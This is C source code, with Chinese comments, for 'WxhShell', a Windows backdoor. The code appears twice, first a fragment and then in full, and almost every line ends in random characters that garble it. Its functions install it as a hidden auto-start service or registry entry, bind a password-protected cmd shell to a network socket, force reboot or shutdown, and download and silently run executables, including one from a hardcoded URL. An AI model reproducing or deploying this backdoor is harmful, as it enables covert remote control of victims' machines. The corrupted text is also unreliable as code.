    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cK } Qu  
    if(Boot(SHUTDOWN)) D.GSl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!S{[7 FY  
    else { A| +{x4s`  
    closesocket(wsh); 8YJ({ Ou_  
    ExitThread(0); Y#5S;?bR  
    } zBR]bk\  
    break; +$'/!vN  
    } BW;u? 1Xa  
  // 获取shell _B[(/wY  
  case 's': { 7> QtO  
    CmdShell(wsh); 32Z4&~ I  
    closesocket(wsh); dA~6{*)  
    ExitThread(0);  h 2zCX  
    break; sOW|TN>y\  
  } q.t5L=l^ r  
  // 退出 mB~&nDU  
  case 'x': { PrcM'Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $p@g#3X`  
    CloseIt(wsh); {Q"<q`c  
    break; tpD?-`9o  
    } StVv"YY  
  // 离开 *%e#)sn*  
  case 'q': { -d~'tti  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5*r6#[S\  
    closesocket(wsh); ~eP 2PG  
    WSACleanup(); ;D7jE+  
    exit(1); #]'xUgcE9  
    break; g/J!U8W"  
        } @wPmx*SF  
  } zkOgL9 (_8  
  } =EJ"edw]%0  
\4[Ta,;t  
  // 提示信息 tQ67XAb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {mQJ6 G'ny  
} #@fypCc  
  } gr=`_k4~1  
>seB["C  
  return; BSY#xe V  
} m @%|Q;  
>vU Hf`4T  
// shell模块句柄 bW]+Og  
int CmdShell(SOCKET sock) +*q@=P,  
{ /~[R u  
STARTUPINFO si; %ab79RS]C  
ZeroMemory(&si,sizeof(si)); jo*9QO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -G 'lyH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e{,/  
PROCESS_INFORMATION ProcessInfo; mI%/k7:sf  
char cmdline[]="cmd"; URgF8?n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pS \>X_G3  
  return 0; AngwBZ@  
} ._Xtb,p{  
lUEyo.xVt  
// 自身启动模式 K;l'IN"N  
int StartFromService(void) :S12=sFl$  
{ ?+\,a+46P_  
typedef struct 7fqYSMHR  
{ nz\fN?q  
  DWORD ExitStatus; rWXW}Yg  
  DWORD PebBaseAddress; |9I;`{@  
  DWORD AffinityMask; O)R0,OPb  
  DWORD BasePriority; F?kVW[h?q  
  ULONG UniqueProcessId; @El<"\  
  ULONG InheritedFromUniqueProcessId; *@nUas 2"  
}   PROCESS_BASIC_INFORMATION; ?s]`G'=>V`  
`,Gk1~Wv  
PROCNTQSIP NtQueryInformationProcess; [ UJj*n  
)QD}R36Ic  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `9l\ ~t(M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o{p_s0IX;S  
3XtGi<u  
  HANDLE             hProcess; @U JmbD{  
  PROCESS_BASIC_INFORMATION pbi; z sPuLn9G  
{ )qP34rM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~tvoR&{I  
  if(NULL == hInst ) return 0; >lmL  
_O%p{t'q<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DG=Ap:sl*$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h :R)KM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0)!zhO_}  
,be?GAq  
  if (!NtQueryInformationProcess) return 0; m5N&7qgp  
wlM ?gQXU[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w ZAXfNA  
  if(!hProcess) return 0; ~0|hobk  
{6sfa?1j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fr3t [:D  
x["  
  CloseHandle(hProcess); nif' l/@"  
Rn_c9p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9lCKz !E  
if(hProcess==NULL) return 0; V&H8-,7z  
(02(:;1  
HMODULE hMod; Zd ,=  
char procName[255]; N-E`go  
unsigned long cbNeeded; oFR'GUQC  
TP::y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ai18]QD-  
 u$8MVP  
  CloseHandle(hProcess); Cl!jK^AbG  
{1|7N GQ  
if(strstr(procName,"services")) return 1; // 以服务启动 ,&] ` b#Rc  
V JL;+  
  return 0; // 注册表启动 W2h[NimU  
} l$_rA~Mo  
cV,Dl`1r  
// 主模块 Po. BcytM  
int StartWxhshell(LPSTR lpCmdLine) FSs$ ] d;  
{ &Ld8Z9IeFp  
  SOCKET wsl; M) XQi/  
BOOL val=TRUE; ]_8I_V cQ  
  int port=0; }9 2lr87  
  struct sockaddr_in door; !p2,|6Y`y  
D(U3zXdO  
  if(wscfg.ws_autoins) Install(); Ilb |:x"L  
N06O.bji  
port=atoi(lpCmdLine); agT[y/gb  
e~]e9-L>I  
if(port<=0) port=wscfg.ws_port; "IJMvTmj  
MWh+h7k'  
  WSADATA data; q Xhf?x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l>Ja[`X@  
y4rJ-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z3>3&|&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _)2TLA n3  
  door.sin_family = AF_INET; $ywh%OEH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +N:6wZ7<f  
  door.sin_port = htons(port); b2%bgs  
]},Q`n>$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J&65B./mD9  
closesocket(wsl); 1e&b;l'*=  
return 1; ![ID0}MjJ  
} -Bv1}xf=6  
dt&Lwf/  
  if(listen(wsl,2) == INVALID_SOCKET) { @i-@mxk6<  
closesocket(wsl); DeQ'U!?+N  
return 1; %&+R":Bw  
} .0W4Dp  
  Wxhshell(wsl); L$c%u  
  WSACleanup(); SLOYlRGCi  
9~%]|_(  
return 0; PFgjWp"Y  
]G~N+\8]U  
} QYw4kD}  
 >E ;o"  
// 以NT服务方式启动 /M*\t.[ 46  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8;f<qu|w  
{ PG[O?l  
DWORD   status = 0; {)9HS~e T  
  DWORD   specificError = 0xfffffff; N<"6=z@w+  
RdvTtXg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6ri?y=-c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X3L[y\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m3Z}eC8LK  
  serviceStatus.dwWin32ExitCode     = 0; X8n/XG~_  
  serviceStatus.dwServiceSpecificExitCode = 0; ^I~T$YjC '  
  serviceStatus.dwCheckPoint       = 0; AYu'ptDNr  
  serviceStatus.dwWaitHint       = 0; G^@Jgx3n  
?WtG|w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  zn;Hs]G  
  if (hServiceStatusHandle==0) return; HT=Am  
)LrCoI =|  
status = GetLastError(); (VPM>ndkw  
  if (status!=NO_ERROR) .P :f  
{ EJ;0ypbG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r2F  
    serviceStatus.dwCheckPoint       = 0; FoD/Q  
    serviceStatus.dwWaitHint       = 0; V&j.>Y  
    serviceStatus.dwWin32ExitCode     = status; C\^<v&  
    serviceStatus.dwServiceSpecificExitCode = specificError; A.C278^O8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); imCl{vt(kj  
    return; xnuv4Z}]t  
  } lJ]\  
4OZ5hH h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mx(%tz^t  
  serviceStatus.dwCheckPoint       = 0; QDgEJ%U-  
  serviceStatus.dwWaitHint       = 0; Nw>T $RzS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nk7eiQ  
} MD ?F1l"}%  
X)iWb(@k"7  
// 处理NT服务事件,比如:启动、停止 $x_52 j\j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LVFsd6:h  
{ uyRA`<&w  
switch(fdwControl) 7}tZ?vD  
{ s!;VUr\  
case SERVICE_CONTROL_STOP: pg}+lYGP  
  serviceStatus.dwWin32ExitCode = 0; .UhBvHH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZDkD%SCy  
  serviceStatus.dwCheckPoint   = 0; ,dj* p ,J  
  serviceStatus.dwWaitHint     = 0; CVSsB:H6e  
  { s@)"IdSA(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EfBVu  
  } !k= 0X\5L  
  return; azDC'.3{p  
case SERVICE_CONTROL_PAUSE: BUA6(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n:^"[Le  
  break; 5ih"Nds[H  
case SERVICE_CONTROL_CONTINUE: !ga (L3vf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z(k\J|&9C  
  break; $,QpSK`9i  
case SERVICE_CONTROL_INTERROGATE: E4v_2Q -w  
  break; #u<o EDQ  
}; 51ajE2+X&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U_}A{bFG  
} sAD P~xvU  
Y9@dZw%2  
// 标准应用程序主函数 Ij6Wz. *  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _]D#)-uv}C  
{ Y zBA{FE  
/@:up+$  
// 获取操作系统版本 nc\C 4g  
OsIsNt=GetOsVer(); ? __aVQ7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >xZhK63C/  
VM]GYz|#]  
  // 从命令行安装 N{hF [F  
  if(strpbrk(lpCmdLine,"iI")) Install(); *e-ptgO  
ueE?"Hk  
  // 下载执行文件 4/`h@]8P  
if(wscfg.ws_downexe) { A M1C $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4I#eC#"  
  WinExec(wscfg.ws_filenam,SW_HIDE); \Ul.K!b7  
} |DFvZ6}  
e@,u`{C[  
if(!OsIsNt) { }$0xt'q&  
// 如果时win9x,隐藏进程并且设置为注册表启动 QLB1:O>  
HideProc(); g<rKV+$6  
StartWxhshell(lpCmdLine); RFn0P)9&  
} SA(UD   
else VTJIaqw  
  if(StartFromService()) i#]aV]IT  
  // 以服务方式启动 1t\b a1x  
  StartServiceCtrlDispatcher(DispatchTable); Z4HA94  
else o1#:j?sN  
  // 普通方式启动 AJ#m6`M+EK  
  StartWxhshell(lpCmdLine); .W@(nQ-<  
$['7vcB^  
return 0; Tn@UX(^,  
} g* \P6  
Yt/SnF  
,\S pjE  
da00p-U  
=========================================== hSkc9jBF  
W3jXZ>  
0tW<LR-}E  
Pn+IJ=0Y  
,XeyE;||  
U50s!Z t45  
" $/, BJ/9  
0E?s>-b  
#include <stdio.h> 62MRI    
#include <string.h> @QVqpE<|  
#include <windows.h> oTF^<I-C  
#include <winsock2.h> `\/toddUh[  
#include <winsvc.h> 8NaL{j1`  
#include <urlmon.h> zmB31' _  
[:nx);\  
#pragma comment (lib, "Ws2_32.lib") BLL]^qN;Y  
#pragma comment (lib, "urlmon.lib") ^zaKO'KcV  
|-(IJG#)  
#define MAX_USER   100 // 最大客户端连接数 jJ*@5?A  
#define BUF_SOCK   200 // sock buffer XdGpW  
#define KEY_BUFF   255 // 输入 buffer z29qARiX  
pK6e/eC  
#define REBOOT     0   // 重启 mfeMmKFu\  
#define SHUTDOWN   1   // 关机 HBh` 2Q  
mFqSD  
#define DEF_PORT   5000 // 监听端口 *3_f &Y  
e}'#Xv  
#define REG_LEN     16   // 注册表键长度 ^])e[RN7?n  
#define SVC_LEN     80   // NT服务名长度 zd*3R+>U'>  
$N}/1R^?r  
// 从dll定义API #cj\~T.,,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .1.J5>/n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9^ >M>f"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :M22P`:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fJ)N:q`  
o~v_PD[S  
// wxhshell配置信息 :W.jNV{e\F  
struct WSCFG { 0T9@,scY  
  int ws_port;         // 监听端口 [F/^J|VMV  
  char ws_passstr[REG_LEN]; // 口令 ;dqk@@O"(  
  int ws_autoins;       // 安装标记, 1=yes 0=no *'9)H 0  
  char ws_regname[REG_LEN]; // 注册表键名 gEr4zae  
  char ws_svcname[REG_LEN]; // 服务名 Si?$\H*:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >aEL;V=}P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x],8yR)R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [!1)mR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fw_ (q!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KqM!!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 May&@x/oMS  
^Yj"RM$;N  
}; Q'Jv} 'eK_  
|Z`M*.d+  
// default Wxhshell configuration @gt)P4yE  
struct WSCFG wscfg={DEF_PORT, \8;Qv  
    "xuhuanlingzhe", cS<TmS!  
    1, Qw24/DJK  
    "Wxhshell", .UM<a Ik  
    "Wxhshell", t6'61*)|0  
            "WxhShell Service", D9qX->p  
    "Wrsky Windows CmdShell Service", ! jbEm8bt  
    "Please Input Your Password: ", _Kc 1  
  1, Dh2:2Rz=#7  
  "http://www.wrsky.com/wxhshell.exe", 2.[_t/T  
  "Wxhshell.exe" "| K f'/r  
    }; s1X]RXX&j  
az0cS*@  
// 消息定义模块 Vh"MKJ'R^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9o-!ecx}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kWB, ;7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ya}T2VX  
char *msg_ws_ext="\n\rExit."; 3g4e' ]t  
char *msg_ws_end="\n\rQuit."; `1nRcY  
char *msg_ws_boot="\n\rReboot..."; 9<xTu>7J  
char *msg_ws_poff="\n\rShutdown..."; BG'6;64kx6  
char *msg_ws_down="\n\rSave to "; 8AT;8I<K  
2HcsQ*H] G  
char *msg_ws_err="\n\rErr!"; cyW;,uT)D  
char *msg_ws_ok="\n\rOK!"; SHMl%mw  
:e1'o  
char ExeFile[MAX_PATH]; ^9&b+u=X  
int nUser = 0; Da"yZ\4  
HANDLE handles[MAX_USER]; PC*m% ?+  
int OsIsNt; CN$I:o04C  
`5~7IPl3  
SERVICE_STATUS       serviceStatus; YecT 96%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ?qk@cKS  
:3JCvrq  
// 函数声明 g[/^cJHQ  
int Install(void); O$a#2p&  
int Uninstall(void); }l~]b3@qu  
int DownloadFile(char *sURL, SOCKET wsh); %$Aqbd  
int Boot(int flag); t,RyeS/  
void HideProc(void); ./$ <J6-J  
int GetOsVer(void); q1H=/[a  
int Wxhshell(SOCKET wsl); 53B.2 4Tm  
void TalkWithClient(void *cs); S[v Rw]*  
int CmdShell(SOCKET sock); JW=uK$sO  
int StartFromService(void); fD'/#sA#'  
int StartWxhshell(LPSTR lpCmdLine); UM<@t%|>  
m7JPH7P@BM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h ~ $&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K} +S+ *_  
YU&4yk lE  
// 数据结构和表定义 F&xv z2G  
SERVICE_TABLE_ENTRY DispatchTable[] = Q~phGD3!~  
{ ] bIt@GB  
{wscfg.ws_svcname, NTServiceMain}, 4<u;a46Z#M  
{NULL, NULL} l$F_"o?&S@  
}; l{8CISO*  
Sa Cx)8ul0  
// 自我安装 bZiyapM  
int Install(void) +4Q[N;[+*  
{ XTV0Le\f  
  char svExeFile[MAX_PATH]; &`\ep9  
  HKEY key; 9qEOgJ  
  strcpy(svExeFile,ExeFile); XJUEwX  
b7bSTFZxC  
// 如果是win9x系统,修改注册表设为自启动 bZ/ hgqS  
if(!OsIsNt) { h0|[etaf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qmEoqU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z OtkC3hY  
  RegCloseKey(key); f3 !n$lj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h6g:(3t6m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L/BHexOB  
  RegCloseKey(key); !}ilN 1>  
  return 0; {gsW(T>)  
    } 3!aEClRtq  
  } |"Z-7@/k$i  
} D ZVXz|g  
else { 3)Zu[c[%'J  
%VWp&a8  
// 如果是NT以上系统,安装为系统服务 gt/!~f0r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )!A 2>  
if (schSCManager!=0) NEMEY7De2  
{ Rs2-94$!5  
  SC_HANDLE schService = CreateService M+0x;53nz  
  ( wazP,9W?  
  schSCManager, pajy#0 U  
  wscfg.ws_svcname, 6+iK!&+=  
  wscfg.ws_svcdisp, n'yl)HA~>`  
  SERVICE_ALL_ACCESS, L?HF'5o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `_GO=QQ  
  SERVICE_AUTO_START, 'j}g  
  SERVICE_ERROR_NORMAL, hfg O  
  svExeFile, 4`s)ue  
  NULL, `y2ljIWJ  
  NULL, -bA!PeI  
  NULL, 3w6&&R9  
  NULL, X'@'/[?  
  NULL RJx{eck%  
  ); zka?cOmYF[  
  if (schService!=0) ^sV|ck  
  { 2SciB*5  
  CloseServiceHandle(schService); KY g3U  
  CloseServiceHandle(schSCManager); ~T02._E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ENq"mwV|  
  strcat(svExeFile,wscfg.ws_svcname); =:gjz4}_8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ir27ZP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @0|nq9l1  
  RegCloseKey(key); z?kd'j`FG  
  return 0; !lhFKb;  
    } D"cKlp-I6|  
  } D^u\l  
  CloseServiceHandle(schSCManager); kon5+g9q  
} xQo~%wW,?  
} :G}DAUFN  
4 [1k\  
return 1; '00J~j~  
} vL$|9|W(  
IcFK,y%1  
// 自我卸载 f>niFPW"  
int Uninstall(void) ^wJEfac  
{ )|RZa|`-G  
  HKEY key; f&c]LH _  
6.'$EtH  
if(!OsIsNt) { $6!i BX@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `VZZ^K9zR  
  RegDeleteValue(key,wscfg.ws_regname); |{f~Ks%  
  RegCloseKey(key); VjB*{,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kwlC[G$j7  
  RegDeleteValue(key,wscfg.ws_regname); #V[SQ=>x[  
  RegCloseKey(key); C2G  |?=  
  return 0; >S'>!w  
  } z h%qS~8Yv  
} 2ce'fMV  
} O&V[g>x"U  
else { &Mj1CvCv  
BFh$.+D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /cfHYvnz  
if (schSCManager!=0) t#5:\U5r.  
{ TEWAZVE*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Iq5|rzDn  
  if (schService!=0) K_#UZA< Y  
  { R hio7C  
  if(DeleteService(schService)!=0) { U:n*<l-k}  
  CloseServiceHandle(schService); Ek ZjO Ci  
  CloseServiceHandle(schSCManager); ltSh'w0  
  return 0; S?4KC^Y5  
  } x: ~d@  
  CloseServiceHandle(schService); oy5+ }`  
  } L/x(RCD  
  CloseServiceHandle(schSCManager); Cs4hgb|  
} h0Jl_f#Y  
} }9CrFTbx;  
([KN*OF  
return 1; XG&K32_fs  
} X NE+(Bt  
} 0;Sk(B>  
// 从指定url下载文件 Z`s!dV]e9  
int DownloadFile(char *sURL, SOCKET wsh) )6{P8k4Zr  
{ 1lcnRHO  
  HRESULT hr; jdM=SBy7q  
char seps[]= "/"; oZ:{@ =  
char *token; =}R~0|^  
char *file; W:O0}   
char myURL[MAX_PATH]; /^2CGcT(  
char myFILE[MAX_PATH]; E[?kGR[  
_{Y$o'*#I  
strcpy(myURL,sURL); y|sma;D  
  token=strtok(myURL,seps); {mSJUK?TKl  
  while(token!=NULL) 8lwM{?k$  
  { %F J#uQXZ  
    file=token; fsvYU0L  
  token=strtok(NULL,seps); %v4ZGtKC@  
  } Tpzw=bC^  
Rd%0\ B  
GetCurrentDirectory(MAX_PATH,myFILE); KlU qoJ;"  
strcat(myFILE, "\\"); d#\W hRE  
strcat(myFILE, file); "2;N2=~7  
  send(wsh,myFILE,strlen(myFILE),0); x=,8[W#XT  
send(wsh,"...",3,0); GN%(9N'W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _7@z_i_c  
  if(hr==S_OK) ^i`*Wm@!  
return 0; h|p[OecG  
else T//S,   
return 1; Df@/cT  
u+2Lm*M  
} 2EfflZL3  
"HC)/)Mv@  
// 系统电源模块 c7qwNs*f  
int Boot(int flag) [ H,u)8)  
{ !8$RBD %  
  HANDLE hToken;  YqU/\f+  
  TOKEN_PRIVILEGES tkp; maDz W_3  
*#2Rvt*Ox  
  if(OsIsNt) { O,mip  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Of`c`-<j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]k*1KP  
    tkp.PrivilegeCount = 1; ,4Y*:JU4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N E= w6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0x5xLg;Q  
if(flag==REBOOT) { o.^y1mH'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2U9&l1P=  
  return 0; ` X}85  
} / Z!i;@Wf  
else { D$nK`r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p5<2N  
  return 0; GZ8:e3ri  
} I7mG/  
  } <zfKC  
  else { F_ljx  
if(flag==REBOOT) {  (M`|'o!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ro r2qDF  
  return 0; LC-)'Z9}5  
} (vQ+e  
else { <v$QM;Ff  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s, XM9h>P4  
  return 0; Y8ehmz|g]J  
} H06Bj(Y!  
} G$5m$\K  
]W) jmw'mo  
return 1; \+Y!ILOI  
} GDPo`# ~  
HFS+QwHW  
// win9x进程隐藏模块 jvs[ /  
void HideProc(void) tt4+m>/T  
{ "l,UOv c  
=!,Gst_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O3%[dR  
  if ( hKernel != NULL ) s#^pC*,'  
  { 1r 571B*O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cwynd=^nC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %EI<@Ps8c  
    FreeLibrary(hKernel); l`gTU?<xd  
  } ]}LGbv"`A  
xjq0D[  
return; VzwPBQ -  
} @2' %o<lF  
(ZPXdr  
// 获取操作系统版本 !k<:k "7  
int GetOsVer(void) ]rW8y%yD  
{ AS;.sjgk  
  OSVERSIONINFO winfo; G|9B )`S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z{?4*Bq  
  GetVersionEx(&winfo); yP\Up  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ("Dv>&w9  
  return 1;  @Fx@5e  
  else FA$zZs10\  
  return 0; EOVZGZF  
} b3U6;]|x  
X\sm[_I  
// 客户端句柄模块 V(mn yI  
int Wxhshell(SOCKET wsl) +Me2U9  
{ (@&I_>2Q  
  SOCKET wsh; $']VQ4tZ  
  struct sockaddr_in client; 40K2uT{cq  
  DWORD myID; <NB41/  
xmH-!Da  
  while(nUser<MAX_USER) \G;CQV#{9  
{ 7 g6RiH}  
  int nSize=sizeof(client); 59!)j>f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fLB1)kTS  
  if(wsh==INVALID_SOCKET) return 1; `WlE| G[  
/f3m)pT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #`/QOTnm2c  
if(handles[nUser]==0) `Q%NSU?  
  closesocket(wsh); |E|6=%^  
else SS8ocGX  
  nUser++; 3"rkko?A  
  } Lk.h.ST  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7B FN|S_l  
agsISu(  
  return 0; cZ< \  
} B\_[R'Pf&  
FH\CK  
// 关闭 socket cY{Nos  
void CloseIt(SOCKET wsh) DO^y;y>  
{ >q(6,Mmb  
closesocket(wsh); xm^95}80yh  
nUser--; h%1Y6$  
ExitThread(0); +ld;k/  
} Hed$ytMaGz  
OM!=ViN(=  
// 客户端请求句柄 jXR16|  
void TalkWithClient(void *cs) 5(J^N  
{ o'Y#H r)/  
A1_ J sS  
  SOCKET wsh=(SOCKET)cs; PqEAqP  
  char pwd[SVC_LEN]; 'ZnIRE,N  
  char cmd[KEY_BUFF]; -:]@HD:  
char chr[1]; -JTG?JOd]  
int i,j; #IX&9 aFB}  
MUcN C\`z  
  while (nUser < MAX_USER) { 7rIlTrG  
nW5K[/1D  
if(wscfg.ws_passstr) { ]Oso#GYD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > saI+u'o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GS%b=kc  
  //ZeroMemory(pwd,KEY_BUFF); ~:2K#q5C  
      i=0; 8:{ q8xZ=k  
  while(i<SVC_LEN) { tWk{1IL  
zM59UQU;  
  // 设置超时 abWl ut  
  fd_set FdRead; Sdc*rpH"(  
  struct timeval TimeOut; Yx1 D)  
  FD_ZERO(&FdRead); RvW.@#EH0  
  FD_SET(wsh,&FdRead);  aZgNPw  
  TimeOut.tv_sec=8; )w"0w(   
  TimeOut.tv_usec=0; yNva1I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4<}A]BQVkJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AMT slo  
h5-d;RKE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \cZfg%PN  
  pwd=chr[0]; 8p =>?wG  
  if(chr[0]==0xd || chr[0]==0xa) { iz`jDa Q|1  
  pwd=0; &;v!oe   
  break; ;BI)n]L  
  } YzV(nEW  
  i++; K0<yvew  
    } kp`0erJqw  
3*WS"bt  
  // 如果是非法用户,关闭 socket F]5\YYXO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); re uYTH  
} ~zyQ('  
;$;rD0i|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @HEPc95  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gvn: c/m;  
=|0/Ynfe  
while(1) { kF-TG3  
:`J>bHE  
  ZeroMemory(cmd,KEY_BUFF); M=%!IT  
0j$OE  
      // 自动支持客户端 telnet标准   hW%p#g;  
  j=0; \!wh[qEQ\  
  while(j<KEY_BUFF) { z%};X$V`J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EcW1;wH  
  cmd[j]=chr[0]; *V|zx#RN  
  if(chr[0]==0xa || chr[0]==0xd) { Wk[)+\WQ?  
  cmd[j]=0; P<L&c_u  
  break; k7Oy5$##  
  } J px'W  
  j++; f)^t')  
    } "Ot{^ _e  
M(5D'4.  
  // 下载文件 /{we;Ut=g  
  if(strstr(cmd,"http://")) { Z| L2oc e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -f.R#J$2  
  if(DownloadFile(cmd,wsh)) .Cr1,Po  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &<h?''nCy  
  else R 3G@ G  
